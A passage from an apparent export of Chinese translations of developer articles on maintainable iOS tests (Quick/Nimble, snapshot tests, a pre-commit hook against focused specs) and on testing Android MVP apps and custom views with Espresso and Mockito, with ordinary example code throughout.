的一句话：\n\n> 测试是第一个使用你 API 的“人”，假如他用你的 API 都觉得有问题，那你的生产代码很有可能也出现同样的情况。\n\n我认为测试也是你的产品的一部分。将这一步加入到你的项目结构中，让他成为你潜意识的一部分。\n\n还有能做什么可以比 *RGR* 和 *AAA* 让测试用例更好维护呢？\n\n### 使用类型推断工厂 ###\n\n不同于重复初始化的模式，这里介绍一下简单的工厂与类型推断。\n\n例如：相比在你每个测试用例中添加不同的字符串，让他更容易地组成任意长度的句子：\n\n```\nextension String {\n    func make(_ words: Int = 2) -> String {\n        let wordList = [\n            \"alias\", \"consequatur\", \"aut\", \"perferendis\", \"sit\", \"voluptatem\",\n            \"accusantium\", \"doloremque\", \"aperiam\", \"eaque\", \"ipsa\", \"quae\", \"ab\",\n            \"illo\", \"inventore\", \"veritatis\", \"et\", \"quasi\", \"architecto\",\n            \"beatae\", \"vitae\", \"dicta\", \"sunt\", \"explicabo\", \"aspernatur\", \"aut\",\n            ...\n        ]\n\n        var result = \"$START$ \"\n        (0..<words - 2).forEach { idx in\n            result += wordList[idx % wordList.count] + \" \"\n        }\n\n        result += \"$END$\"\n        return result\n    }\n}\n```\n\n你可以创建 `make` 方法去添加不同类型需要被反馈的数据，也包含你的 model 对象。 如果你以扩展的形式进行添加会获得更加智能的提示。\n\n这种模式会让你的测试用例更轻量以及重要部分会出现高亮提示，且不对 stub 数据进行处理。\n\n```\nSnapshot<ThumbnailNode>.verify(\"short summary\", with:\n    ThumbnailNodeViewModel(\n        url: .make(),\n        headline: .make(),\n        summary: .make(words: 5),\n        promotionalImageCrop: .make()\n    )\n```\n\n### 不要在代码中测试布局 ###\n\n一般情况下，测试用例集合中的视图布局和特定 frames 的用例不会顺利的执行完，这种情况出现时，大多数人仅仅是将数据更新成预期的数据然后继续。请不要这样做。\n\n\n相反地，利用[截图测试](https://www.objc.io/issues/15-testing/snapshot-testing/)，就会让你更容易地发现界面是否错位。\n\n这对视图质量的保证非常有效，您可以以几秒钟内生成同一 UI 元素的许多不同版本。\n\n\n**注意：**我建议在你的项目中在改变截图时应该添加明确的权限，否则其他人会使用布局去做同样的事（只更新截图而不考虑其他）。当截图被修改的时候，你可以使用 [danger](http://danger.systems) 去通知用户。\n\n### 写一个自定义的 matchers ###\n\n我们测试过程中经常会遇到类似模式的情况，为了不重复他们，使用自定义的 matcher 可以让我们的工作更加轻松。\n\n例如，测试 NSAttributedStrings 时可以被 PITA，除非你创建一个简单的 matcher 使工作更轻松：\n\n```\nit(\"has an attributed kicker with the expected font\") {\n  expect(sut?.attributedKicker).to(haveFont(\"NYTFranklin-Medium\", size: 13.0))\n}\n```\n\n```\nit(\"has an attributed string with the expected kicker font\") {\n    expect(sut?.attributedString).to(\n        haveFont(\"NYTFranklin-Bold\", size: 13.0,\n        forRange: .firstOccurrence(substring: expectedSubstring))\n    )\n}\n```\n\n### 替换掉苹果官方或第三方的接口 ###\n\n在测试中可以很方便地替换掉第三方的依赖，因此我们可以在隔离区测试我们的对象。一些类苹果甚至表示不会提供公开的接口去创建他们，例如 `UITouch`.\n\n解决这些场景的其中一个办法，就是尽快去掉这些依赖，例如不去依靠 `UITouch` 实例，而是使用我们自己的协议,并使 `UITouch` 去遵守他。\n\n```\nprotocol TouchEvent {\n    func location(in view: UIView?) -> CGPoint\n    var view: UIView?\n}\n\nextension UITouch: TouchEvent {}\n```\n\n添加后的好处，就是现在我们可以控制我们真正关心的接口，当我们想要触发依靠于 `TouchEvent` 事件时，我们可以在测试中创建一个伪造的结构来相应对应的 `TouchEvent` 事件。\n\n对于第三方依赖，尽管没有经过测试，我们也不应在我们的代码库中漏掉他们，因为共同使用协议与组合会更有帮助。\n\n[谨记，协议也是有可能被滥用的](http://chris.eidhof.nl/post/protocol-oriented-programming/)\n\n\n### 限制公开的接口 ###\n\n你应负责所有的公开接口的测试，只有你的接口越少，你需要的测试工作才会减少。但更重要的是，你应该避免写出不稳定的测试代码，着眼于全局而不是细节的实现。\n\n避免直接去测试私有方法，只通过公开的接口测试他们的行为。\n\n[我们应该是面向接口编程，而非面向实现。](http://www.artima.com/lejava/articles/designprinciples.html)\n\n### 专注于可读性 ###\n\n[一次失败的测试应该像一份高质量的 bug 反馈报告](https://medium.com/javascript-scene/what-every-unit-test-needs-f6cd34d9836d#.kn8a3pyi8)，这点是十分重要的。\n\nRSpec 的测试风格可以提高你部分的测试用例。\n\n\n#### RSpec / BDD ####\n\n[RSpec](http://rspec.info)是常见的行为驱动开发（BDD）方式，去写人类可读的规范，可以专注于你应用的开发。\n\n在 iOS 上，我更喜欢 [Quick](https://github.com/Quick/Quick) 这个进行 BDD 测试的框架和一个叫做 [Nimble](https://github.com/Quick/Nimble) 的 “matcher 框架”.\n\n实际上 BDD 跟 TDD 之间最大的不同，就是 BDD 的测试用例可以被开发者外的成员去阅读，这对团队来说非常有用。\n\n如果你需要验证产品需求的功能是否实现，你可以复制测试规范，并询问你们的产品经理这些执行是否正确，这一过程常常会使你会发现知识的缺漏与一些错误的理解。\n\nBDD R-Spec 比 `XCTest` 看起来更加啰嗦，但在与你的团队分享的时候却是十分有用的，例如这些规范可以是下面这样：\n\n```\ndescribe(\"Dolphin\") {\n      var sut: Dolphin?\n\n      beforeEach {\n        sut = Dolphin()\n      }\n\n      afterEach {\n        sut = nil\n      }\n\n      describe(\"click\") {\n        context(\"when it is not near anything interesting\") {\n          it(\"emits once\") {\n            expect(sut?.click().count).to(equal(1))\n          }\n        }\n\n        context(\"when it is near something interesting\") {\n          beforeEach {\n            let ship = SunkenShip()\n            Jamaica.dolphinCove.add(ship)\n            Jamaica.dolphinCove.add(sut!)\n          }\n\n          it(\"emits three times\") {\n            expect(sut?.click().count).to(equal(3))\n          }\n        }\n      }\n    }\n}\n```\n\n##### 最有效的练习 #####\n\n以下三个 RSpec 的观察指标：\n\n- `describe`\n\n- `context`\n\n- `it`\n\n“describe” 的目的是在一个功能上封装一组测试，而 “context” 在同一状态下对一个功能去封装一组测试。\n\n#### `describe` ####\n\n- `describe` 是作用于 *Things*.\n\n- `beforeEach` 用于具体说明 *Things* 是你即将要进行的测试。\n\n```\ndescribe(\"Observable\") {\n beforeEach {\n   sut = Observable(155)\n }\n```\n\n- 语法：\n\t- 使用 函数 / 对象 名字。\n\n\t- 将分组功能添加到一起时使用 ‘when’\n\n```\n describe(\"when using the transforming operator\") {\n    describe(\"map\") {\n\n```\n\n#### `context` ####\n\n- `context` 是用来描述*状态*。\n\n- `beforeEach` 列出 *Actions* 去获取状态\n```\ncontext(\"given a full queue\") {\n  beforeEach {\n    (1...Queue.max).forEach { queue.insert( arc4random() ) }\n  }\n}\n```\n\n- 语法：\n\n\t- 使用 ‘given’, ‘with’ 或 ‘when’ 可以使可读性更高。\n\n```\ncontext(\"given the second observable has a send value\")\ncontext(\"with logged-in user\")\n```\n\n#### `it` ####\n\n- 立刻展示崩溃的位置\n\n- 大部分 `it` 块应该包含唯一的断言\n\n- 如果你需要多步骤，创建一个自定义的 matchers 是最好的（经过第一次验证后，他们已经不存在了）\n\n- 语法：\n\t- 不要使用‘should’\n\n\t- 说说即将会发生什么\n\n\t- 只有运行测试才能验证通过与否\n\n```\nit(\"sends transformed value to subscriber\") {\n    expect(received).to(equal(\"String containing 3\"))\n}\n\n```\n\n### 有选择地去运行测试 ###\n\n- 你可以在任何关键词上加上前缀：\n\t- “`x`”是用于暂时禁止特定的测试组\n\n\t- “`f`” 用于专注于执行特定测试组去提高性能\n\n- 另外，使用 `pending` 去代替他们，`pending` 与 “`x`” 的区别是 pending 组在运行测试时会被记录。\n\n**注意** ： 注意不要因为错手而提交集中或被禁用测试。最好是通过预先提交 hook 去确保。\n\n```\n#!/usr/bin/env bash\nset -eu\n\nif git diff-index -p -M --cached HEAD -- '*Specs.swift' | grep '^+' | egrep '(fdescribe|fit|fcontext|xdescribe|xit|xcontext)' >/dev/null 2>&1\nthen\n  echo \"COMMIT REJECTED because it contains fdescribe/fit/fcontext/xdescribe/xit/xcontext; please remove focused and disabled tests before committing.\"\n  exit 1\nfi\n\nexit 0\n\n```\n#### 在 RSpec 中的 AAA ####\n\n通常 `beforeEach` 扮演着 **Arrange** 跟 **Act** 的角色，留下 `it` 去扮演 **Assert** 的角色。\n\n在一些场景， 使用 `beforeEach` 可能会让测试不明显和让它在操作中更难看到 AAA,你应该直接地在`it`中执行 **Act** 与 **Assert**，尽管在有些时候，添加更多测试意味着**需要重构**。\n\n这取决于每个团队他们更倾向选择哪种方案。\n\n[相关阅读](https://robots.thoughtbot.com/lets-not)\n\n\n## 结论 ##\n\n编写在 iOS 中可维护的测试其实是并不难且不费时的，一旦你掌握了他，你还会发现开发的速度会更快。测试的迭代周期会更短，这就意味着你的交付会变得更快。\n\n编写测试代码让你：\n\n- 更加了解需求，在和非开发人员沟通起来思路更加清晰\n\n- 更加有信心去做大范围的重构\n\n- 好的测试就像一份完美的文档\n\n- 更专注于功能的开发\n\n- 设计更好的接口，因为你是从用户的角度去设计它的。\n\n- 限制可用的突变与公开的接口\n\n- 更少的 bug\n\n测试的回报会越来越高，项目的存在时间越长，你越会感激自己在早期对测试的投入。\n\n我要感谢 [Paweł Dudek](https://twitter.com/eldudi) 与 [Klaas Pieter Annema](https://github.com/klaaspieter) 能花费宝贵的时间来帮我校对这篇文章。\n\n"
  },
  {
    "path": "TODO/testing-mvp-using-espresso-and-mockito.md",
    "content": "> * 原文地址：[TESTING MVP USING ESPRESSO AND MOCKITO](https://josiassena.com/testing-mvp-using-espresso-and-mockito/)\n> * 原文作者：[Josias Sena](https://josiassena.com/about-me/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[skyar2009](https://github.com/skyar2009)\n> * 校对者：[lovexiaov](https://github.com/lovexiaov), [GangsterHyj](https://github.com/GangsterHyj)\n\n# 使用 Espresso 和 Mockito 测试 MVP #\n\n作为软件开发者，我们尽最大努力做正确的事情确保我们并非无能，并且让其他同事以及领导信任我们所写的代码。我们遵守最好的编程习惯、使用好的架构模式，但是有时发现要确切的测试我们所写的代码很难。\n\n就个人而言，我发现一些开源项目的开发者非常善于打造令人惊叹的产品（可以打造任何你可以想象的应用），但是由于某些原因缺乏编写正确测试的能力，甚至一点都没有。\n\n本文是关于如何对广泛应用的 MVP 架构模型进行单元测试的简单教程。\n\n在开始前需要解释一下，本文假设你熟悉 MVP 模型并且之前使用过。本文不会介绍 MVP 模型，也不会介绍它的工作原理。同样，需要提一下的是我使用了一个我喜欢的 MVP 库 —— 由 [Hannes Dorfman](http://hannesdorfmann.com/) 编写的 [Mosby](https://github.com/sockeqwe/mosby)。为了方便起见，我使用了 view 绑定库 [ButterKnife](http://jakewharton.github.io/butterknife/)。\n\n那么这个应用究竟长什么样呢？\n\n这是一个非常简单的 Android 应用，它只做一件事：当点击按钮时隐藏或者显示一个 TextView。\n\n这是应用起初的样子：\n\n![Initial](https://i1.wp.com/www.andevcon.com/hubfs/EVENTS_ASSETS/ANDEVCON/Images/Article_Images/MVP%20Mockito/IVvsdac.png)\n\n这是按钮点击后的样子：\n\n![724E8fE.png](https://i2.wp.com/www.andevcon.com/hubfs/EVENTS_ASSETS/ANDEVCON/Images/Article_Images/MVP%20Mockito/724E8fE.png)\n\n出于文章的需要，我们假设这是一个价值数百万的产品，并且它现在的样子将会持续很长时间。一旦发生变化，我们需要立刻知晓。\n\n应用中有三部分内容：一个有应用名的蓝色工具栏，一个显示 “Hello World” 的 TextView，以及一个控制 TextView 显隐的按钮。\n\n开始前需要做下说明，本文的所有代码都可以在[我的 GitHub ](https://github.com/josias1991/TestingMVP)找到；如果你不想阅读后文，可以放心去直接阅读源码。源码中的注释十分明确。\n\n我们开始吧！\n\n## **Espresso 测试** ##\n\n我们首先对炫酷的 ToolBar 进行测试。毕竟是一个价值数百万的应用，我们需要确保它的正确性。\n\n如下是测试 ToolBar 的完整代码。如果你看不懂这到底是什么鬼，也没关系，后面我们一起过一下。\n\n``` java\n@RunWith (AndroidJUnit4.class)\npublic class MainActivityTest {\n \n    @Rule\n    public ActivityTestRule activityTestRule =\n            new ActivityTestRule&lt;&gt;(MainActivity.class);\n \n    @Test\n    public void testToolbarDesign() {\n        onView(withId(R.id.toolbar)).check(matches(isDisplayed()));\n \n        onView(withText(R.string.app_name)).check(matches(withParent(withId(R.id.toolbar))));\n \n        onView(withId(R.id.toolbar)).check(matches(withToolbarBackGroundColor()));\n    }\n \n    private Matcher&lt;? super View&gt; withToolbarBackGroundColor() {\n        return new BoundedMatcher&lt;View, View&gt;(View.class) {\n            @Override\n            public boolean matchesSafely(View view) {\n                final ColorDrawable buttonColor = (ColorDrawable) view.getBackground();\n \n                return ContextCompat\n                        .getColor(activityTestRule.getActivity(), R.color.colorPrimary) ==\n                        buttonColor.getColor();\n            }\n \n            @Override\n            public void describeTo(Description description) {\n            }\n        };\n    }\n}\n``` \n\n首先，我们需要告诉 JUnit 所执行测试的类型。对应于第一行代码（@runwith (AndroidJUnit4.class)）。它这样声明，“嘿，听着，我将在真机上使用 JUnit4 进行 Android 测试”。\n\n那么 Android 测试到底是什么呢？Android 测试是在 Android 设备上而非电脑上的 [Java 虚拟机 (JVM)](https://en.wikipedia.org/wiki/Java_virtual_machine) 的测试。这就意味着 Android 设备需要连接到电脑以便运行测试。这就使得测试可以访问 Android 框架功能性 API。\n\n测试代码存放在 androidTest 目录。\n\n![android_test_directory](https://i0.wp.com/www.andevcon.com/hs-fs/hubfs/EVENTS_ASSETS/ANDEVCON/Images/Article_Images/MVP%20Mockito/gcpEaEX.png?w=442)\n\n下面我们看一下 “ActivityTestRule”，如下 Android 文档做出了详细的介绍：\n\n**“本规则针对单个 Activity 的功能性测试。测试的 Activity 会在 [Test](http://junit.org/javadoc/latest/org/junit/Test.html) 注释的测试以及 [Before](http://junit.sourceforge.net/javadoc/org/junit/Before.html) 注释的方法运行之前启动。会在测试完成以及 [After](http://junit.sourceforge.net/javadoc/org/junit/After.html) 注释的方法结束后停止。在测试期间可以直接对 Activity 进行操作。”**\n\n本质上是说，“这是我要测试的 Activity”。\n\n下面我们具体看下 testToolBarDesign() 方法具体做了什么。\n\n### **测试 toolbar** ###\n\n``` java    \nonView(withId(R.id.toolbar)).check(matches(isDisplayed()));\n```\n\n这段测试代码是找到 ID 为 “R.id.toolbar” 的 view，然后检查它的可见性。如果本行代码执行失败，测试会立刻结束并不会进行其余的测试。\n\n``` java    \nonView(withText(R.string.app_name)).check(matches(withParent(withId(R.id.toolbar))));\n```\n\n这行是说，“嘿，让我们看看是否有文本内容为 R.string.app_name 的 textView ，并且看看它的父 View 的 id 是否为 R.id.toolbar”。\n\n最后一行的测试更有趣一些。它是要确认 toolbar 的背景色是否和应用的首要颜色一致。\n\n``` java\nonView(withId(R.id.toolbar)).check(matches(withToolbarBackGroundColor()));\n```\n\nEspresso 没有提供直接的方式来做此校验，因此我们需要创建 [Matcher](https://developer.android.com/reference/android/support/test/espresso/matcher/package-summary.html)。Matcher 确切的说是我们前面使用的判断 view 属性是否与预期一致的工具。这里，我们需要匹配首要颜色是否与 toolbar 背景一致。\n\n我们需要创建一个 [Matcher](https://developer.android.com/reference/android/support/test/espresso/matcher/BoundedMatcher.html) 并覆盖 matchesSafely() 方法。该方法里面的代码十分易懂。首先我们获取 toolbar 背景色，然后与应用首要颜色对比。如果相等，返回 true 否则返回 false。\n\n### **测试 TextView 的隐藏/显示** ###\n\n在讲代码之前，我需要说下代码有点长，但是十分易读。我对代码内容作了详细注释。\n\n``` java\n\n@RunWith (AndroidJUnit4.class)\npublic class MainActivityTest {\n \n    @Rule\n    public ActivityTestRule activityTestRule =\n            new ActivityTestRule&lt;&gt;(MainActivity.class);\n            \n    // ...\n \n    @Test\n    public void testHideShowTextView() {\n \n        // Check the TextView is displayed with the right text\n        onView(withId(R.id.tv_to_show_hide)).check(matches(isDisplayed()));\n        onView(withId(R.id.tv_to_show_hide)).check(matches(withText(\"Hello World!\")));\n \n        // Check the button is displayed with the right initial text\n        onView(withId(R.id.btn_change_visibility)).check(matches(isDisplayed()));\n        onView(withId(R.id.btn_change_visibility)).check(matches(withText(\"Hide\")));\n \n        // Click on the button\n        onView(withId(R.id.btn_change_visibility)).perform(click());\n \n        // Check that the TextView is now hidden\n        onView(withId(R.id.tv_to_show_hide)).check(matches(not(isDisplayed())));\n \n        // Check that the button has the proper text\n        onView(withId(R.id.btn_change_visibility)).check(matches(withText(\"Show\")));\n \n        // Click on the button\n        onView(withId(R.id.btn_change_visibility)).perform(click());\n \n        // Check the TextView is displayed again with the right text\n        onView(withId(R.id.tv_to_show_hide)).check(matches(isDisplayed()));\n        onView(withId(R.id.tv_to_show_hide)).check(matches(withText(\"Hello World!\")));\n \n        // Check that the button has the proper text\n        onView(withId(R.id.btn_change_visibility)).check(matches(isDisplayed()));\n        onView(withId(R.id.btn_change_visibility)).check(matches(withText(\"Hide\")));\n    }\n    \n    // ...\n}\n```\n\n这段代码主要功能是保证应用打开时，ID 为 “R.id.tv_to_show_hide” 的 TextView 处于显示状态，并且其显示内容为 “Hello World!”\n\n然后检查按钮也是显示状态，并且其文案（默认）显示为 “Hide”。\n\n接着点击按钮。点击按钮十分简单，如何实现的也十分易懂。这里我们对找到相应 ID 的 view 执行 .perform() (而非 “.check”)，并且在其内执行 click() 方法。perform() 方法实际是执行传入的操作。这里对应是 click() 操作。\n\n因为点击了 “Hide” 按钮，我们需要验证 TextView 是否真的隐藏了。具体做法是在 disDisplayed() 方法前置一个 “not()”，并且按钮文案变为 “Show”。其实这就和 java 中的 “!=” 操作符一样。\n\n``` java\n\n\n@RunWith (AndroidJUnit4.class)\npublic class MainActivityTest {\n    // ...\n \n    @Test\n    public void testHideShowTextView() {\n    \n        // ...\n \n        // Check that the TextView is now hidden\n        onView(withId(R.id.tv_to_show_hide)).check(matches(not(isDisplayed())));\n \n        // Check that the button has the proper text\n        onView(withId(R.id.btn_change_visibility)).check(matches(withText(\"Show\")));\n        \n        // ...\n    }\n    \n    // ...\n}\n``` \n\n后面的代码是前面代码的反转。再次点击按钮，验证 TextView 重新显示，并且按钮文案符合当前状态。\n\n就这些。\n\n如下是全部的 UI 测试代码：\n\n``` java\n\n@RunWith (AndroidJUnit4.class)\npublic class MainActivityTest {\n \n    @Rule\n    public ActivityTestRule activityTestRule =\n            new ActivityTestRule&lt;&gt;(MainActivity.class);\n \n    @Test\n    public void testToolbarDesign() {\n        onView(withId(R.id.toolbar)).check(matches(isDisplayed()));\n \n        onView(withText(R.string.app_name)).check(matches(withParent(withId(R.id.toolbar))));\n \n        onView(withId(R.id.toolbar)).check(matches(withToolbarBackGroundColor()));\n    }\n \n    @Test\n    public void testHideShowTextView() {\n \n        // Check the TextView is displayed with the right text\n        onView(withId(R.id.tv_to_show_hide)).check(matches(isDisplayed()));\n        onView(withId(R.id.tv_to_show_hide)).check(matches(withText(\"Hello World!\")));\n \n        // Check the button is displayed with the right initial text\n        onView(withId(R.id.btn_change_visibility)).check(matches(isDisplayed()));\n        onView(withId(R.id.btn_change_visibility)).check(matches(withText(\"Hide\")));\n \n        // Click on the button\n        onView(withId(R.id.btn_change_visibility)).perform(click());\n \n        // Check that the TextView is now hidden\n        onView(withId(R.id.tv_to_show_hide)).check(matches(not(isDisplayed())));\n \n        // Check that the button has the proper text\n        onView(withId(R.id.btn_change_visibility)).check(matches(withText(\"Show\")));\n \n        // Click on the button\n        onView(withId(R.id.btn_change_visibility)).perform(click());\n \n        // Check the TextView is displayed again with the right text\n        onView(withId(R.id.tv_to_show_hide)).check(matches(isDisplayed()));\n        onView(withId(R.id.tv_to_show_hide)).check(matches(withText(\"Hello World!\")));\n \n        // Check that the button has the proper text\n        onView(withId(R.id.btn_change_visibility)).check(matches(isDisplayed()));\n        onView(withId(R.id.btn_change_visibility)).check(matches(withText(\"Hide\")));\n    }\n \n    private Matcher&lt;? super View&gt; withToolbarBackGroundColor() {\n        return new BoundedMatcher&lt;View, View&gt;(View.class) {\n            @Override\n            public boolean matchesSafely(View view) {\n                final ColorDrawable buttonColor = (ColorDrawable) view.getBackground();\n \n                return ContextCompat\n                        .getColor(activityTestRule.getActivity(), R.color.colorPrimary) ==\n                        buttonColor.getColor();\n            }\n \n            @Override\n            public void describeTo(Description description) {\n            }\n        };\n    }\n}\n```\n\n## **单元测试** ##\n\n单元测试最大特点是在本机的 JVM 环境上运行（与 Android 测试不同）。无需连接设备，测试跑的也更快。缺点就是无法访问 Android 框架 API。总之进行 UI 之外的测试时，尽量使用单元测试而非 Android/Instrumentation 测试。测试运行的越快越好。\n\n下面我们看下单元测试的目录。单元测试的位置与 Android 测试不同。\n\n![different_location](https://i1.wp.com/www.andevcon.com/hubfs/EVENTS_ASSETS/ANDEVCON/Images/Article_Images/MVP%20Mockito/mYBjN1x.png)\n\n开始前我们先看下 presenter 以及关于 model 需要考虑的问题。\n\n### **首先看下 presenter** ###\n\n``` java\n\npublic class MainPresenterImpl extends MvpBasePresenter implements MainPresenter {\n \n    @Override\n    public void reverseViewVisibility(final View view) {\n        if (view != null) {\n            if (view.isShown()) {\n                Utils.hideView(view);\n \n                setButtonText(\"Show\");\n            } else {\n                Utils.showView(view);\n \n                setButtonText(\"Hide\");\n            }\n        }\n    }\n \n    private void setButtonText(final String text) {\n        if (isViewAttached()) {\n            getView().setButtonText(text);\n        }\n    }\n}\n``` \n\n很简单。两个方法：一个检查 view 是否可见。如果可见就隐藏它，反之显示。之后将按钮的文案改为 “Hide” 或 “Show”。\n\nreverseViewVisibility() 方法调用 “model” 对传入的 view 进行可见性设置。\n\n### **下面看下 model** ###\n\n``` java\npublic final class Utils {\n\n    // ...\n\n    public static void showView(View view) {\n        if (view != null) {\n            view.setVisibility(View.VISIBLE);\n        }\n    }\n\n    public static void hideView(View view) {\n        if (view != null) {\n            view.setVisibility(View.GONE);\n        }\n    }\n``` \n\n两个方法：showView(View) 和 hideView(View)。具体功能十分直观。检查 view 是否为 null，不为 null 则对其进行显隐设置。\n\n现在我们对 presenter 和 model 都有所了解了，下面我们开始测试。毕竟这是一个数百万的产品，我们不能有任何错误。\n\n我们首先测试 presenter。当使用 presenter （任何 presenter）时，我们需要确保 view 已与之关联。注意：我们并不测试 view。我们只需要确保 view 的绑定以便确认是否在正确的时间调用了正确的 view 方法。记住，这很重要。\n\n这里我们使用 Mockito 进行测试，就像单元测试那样，我们需要告诉 Android，“嘿，我们需要使用 MockitoJUnitRunner 进行测试。”实际操作时在测试类的顶部添加 @RunWith (MockitoJUnitRunner.class) 即可。\n\n从前面可知我们需要两个东西：一是模拟一个 View （因为 presenter 使用了 View 对象，对其进行显隐控制），另外一个是 presenter。\n\n下面展示了如何使用 Mockito 进行模拟\n\n``` java\n@RunWith (MockitoJUnitRunner.class)\npublic class MainPresenterImplTest {\n \n    MainPresenterImpl presenter;\n \n    @Before\n    public void setUp() throws Exception {\n        presenter = new MainPResenterImpl();\n        presenter.attachView(Mockito.mock(MainView));\n    }\n    \n    // ...\n}\n```\n\n我们要写的第一个测试是 “testReverseViewVisibilityFromVisibleToGone”。顾名思义，我们将要验证的是，当可见的 View 被传入 presenter 的 reverseViewVisibility() 方法时，presenter 能正确地设置 View 的可见性。\n\n``` java\n   @Test\n    public void testReverseViewVisibilityFromVisibleToGone() throws Exception {\n        final View view = Mockito.mock(View.class);\n        when(view.isShown()).thenReturn(true);\n\n        presenter.reverseViewVisibility(view);\n\n        Mockito.verify(view, Mockito.atLeastOnce()).setVisibility(View.GONE);\n        Mockito.verify(presenter.getView(), Mockito.atLeastOnce()).setButtonText(anyString());\n    }\n```\n\n我们一起看下，这里具体做了什么？由于我们要测试的是 view 从可见到不可见的操作，我们需要 view 一开始是可见的，因此我们希望一开始调用 view 的 isShown() 方法返回是 true。接着，以模拟的 view 作为入参调用 presenter 的 reverseViewVisibility() 方法。现在我们需要确认 view 最近被调用的方法是 setVisibility()，并且设置为 GONE。然后，我们需要确认与 presenter 绑定的 view 的 setButtonText() 方法是否调用。并不难吧？\n\n嗯，接着我们进行相反的测试。在继续阅读下面的代码之前，试着自己想一下怎么做。如何测试从隐藏到显示的情况？根据上面已知的信息思考一下。\n\n代码实现如下：\n\n``` java\n    @Test\n    public void testReverseViewVisibilityFromGoneToVisible() throws Exception {\n        final View view = Mockito.mock(View.class);\n        when(view.isShown()).thenReturn(false);\n\n        presenter.reverseViewVisibility(view);\n\n        Mockito.verify(view, Mockito.atLeastOnce()).setVisibility(View.VISIBLE);\n        Mockito.verify(presenter.getView(), Mockito.atLeastOnce()).setButtonText(anyString());\n    }\n```\n\n\n接着测试 “Model”。和前面一样，我们首先在类顶部添加注解 @RunWith (MockitoJUnitRunner.class) 。\n\n``` java \n@RunWith(MockitoJUnitRunner.class)\n\npublicclassUtilsTest{\n\n    // ...\n\n}\n```\n \n\n如前面所说，Utils 类首先检查 view 是否为 null。如果不为 null 将执行显隐操作，反之什么都不会做。\n\nUtils 类的测试十分简单，因此我不再逐行解释，大家直接看代码即可。\n\n``` java\n@RunWith (MockitoJUnitRunner.class)\npublic class UtilsTest {\n\n    @Test\n    public void testShowView() throws Exception {\n        final View view = Mockito.mock(View.class);\n\n        Utils.showView(view);\n\n        Mockito.verify(view).setVisibility(View.VISIBLE);\n    }\n\n    @Test\n    public void testHideView() throws Exception {\n        final View view = Mockito.mock(View.class);\n\n        Utils.hideView(view);\n\n        Mockito.verify(view).setVisibility(View.GONE);\n    }\n\n    @Test\n    public void testShowViewWithNullView() throws Exception {\n        Utils.showView(null);\n    }\n\n    @Test\n    public void testHideViewWithNullView() throws Exception {\n        Utils.hideView(null);\n    }\n}\n```\n \n\n我解释下 testShowViewWithNullView() 和 testHideViewWithNullView() 方法的作用。为什么要进行这些测试？试想下，我们不希望因为 view 为 null 时调用方法造成整个应用的崩溃。\n\n我们看下 Utils 的 showView() 方法。如果不做 null 检查，当 view 为 null 时应用会抛出 NullPointerException 并崩溃。\n\n``` java\npublic final class Utils {\n\n    // ...\n    \n    public static void showView(View view) {\n        if (view != null) {\n            view.setVisibility(View.VISIBLE);\n        }\n    }\n    \n    // ...\n}\n```\n\n另外一些情况下，我们需要应用抛出一个异常。我们如何测试一个异常？十分简单：只需要对 @Test 注解传递一个 expected 参数进行指定：\n\n``` java\n@RunWith (MockitoJUnitRunner.class)\npublic class UtilsTest {\n\n    // ...\n\n    @Test (expected = NullPointerException.class)\n    public void testShowViewWithNullView() throws Exception {\n        Utils.showView(null);\n    }\n}\n```\n\n如果没有异常抛出，该测试会失败。\n\n再次提示，你可以在 [GitHub](https://github.com/josias1991/TestingMVP) 获取全部代码。\n\n本文接近尾声，需要提醒大家的是：测试并不总是像本例这样简单，但也不意味着不会如此或不该如此。作为开发者，我们需要确保应用正确的运行。我们需要确保大家信任我们的代码。我已经持续这样做许多年了，你可能无法想象测试拯救了我多少次，甚至是像改变 view ID 这样最简单的事。\n\n没有人是完美的，但是测试让我们趋近完美。保持编码，保持测试，直到永远！\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/testing-views-in-isolation-with-espresso.md",
    "content": "> * 原文地址：[Testing Views in Isolation with Espresso](https://www.novoda.com/blog/testing-views-in-isolation-with-espresso/)\n> * 原文作者：本文已获原作者 [Ataul Munim](https://twitter.com/ataulm) 授权\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[yazhi1992](https://github.com/yazhi1992)\n> * 校对者：[lovexiaov](https://github.com/lovexiaov), [Phoenix](https://github.com/wbinarytree)\n\n# 使用 Espresso 隔离测试视图 #\n\n在这篇文章里，我将会告诉你为何并且如何使用 Espresso 在 Android 设备上测试你的自定义视图。\n\n你可以使用 Espresso 来一次性测试所有界面或流程。这些测试用例会启动某个页面，并像用户一般执行操作，包括等待数据的加载或跳转到其他页面。\n\n这样做是非常有用的，因为你需要端到端的测试用例来验证常见的用户使用流程。这些自动化测试应该定期地执行，从而可以节约手工 QA 的时间来进行探索性测试。\n\n即便如此，这些不是可以频繁运行的测试。运行一整套可能会花费数小时的时间（想象一下验证媒体内容的脱机同步），所以你可以选择在夜间运行它们。\n\n这很困难，因为这些类型的测试包含了多个潜在的故障点。理想情况是，当某个测试失败时，你会希望它是由于单个逻辑断言而导致的。\n\n大多数（或者说很多）可以引入的回归测试点都在 UI 上。这些问题很可能是十分细微的，以至于我们在添加新特性时并不会注意到，但是敏锐的 QA 团队却往往可以。\n\n这样就浪费太多时间了。\n\n## 你能做些什么？ ##\n\n让我们来看下如何使用 Espresso 来测试正确地绑定了数据的视图。\n\n在 Novoda 里，我们编写的大多数视图都是继承自 Android 已有的 View 和 ViewGroup 类。这些视图一般只会暴露了一到两个方法用来绑定回调函数和数据对象/视图模型，如下所示：\n\n```\npublic class MovieItemView extends RelativeLayout {  \n  private TextView titleTextView;\n  private Callback callback;\n\n  public void attach(Callback callback) {\n    this.callback = callback;\n  }\n\n  public void bind(Movie movie) {\n    titleTextView.setText(movie.name());\n    setOnClickListener(new OnClickListener() {\n      @Override \n      public void onClick(View v) {\n        callback.onClick(movie);\n      }\n    });\n  }\n}\n```\n\n他们将 UI 的逻辑部分组合在一起，并且通常还包含来自业务领域的命名规范。在\n Novoda 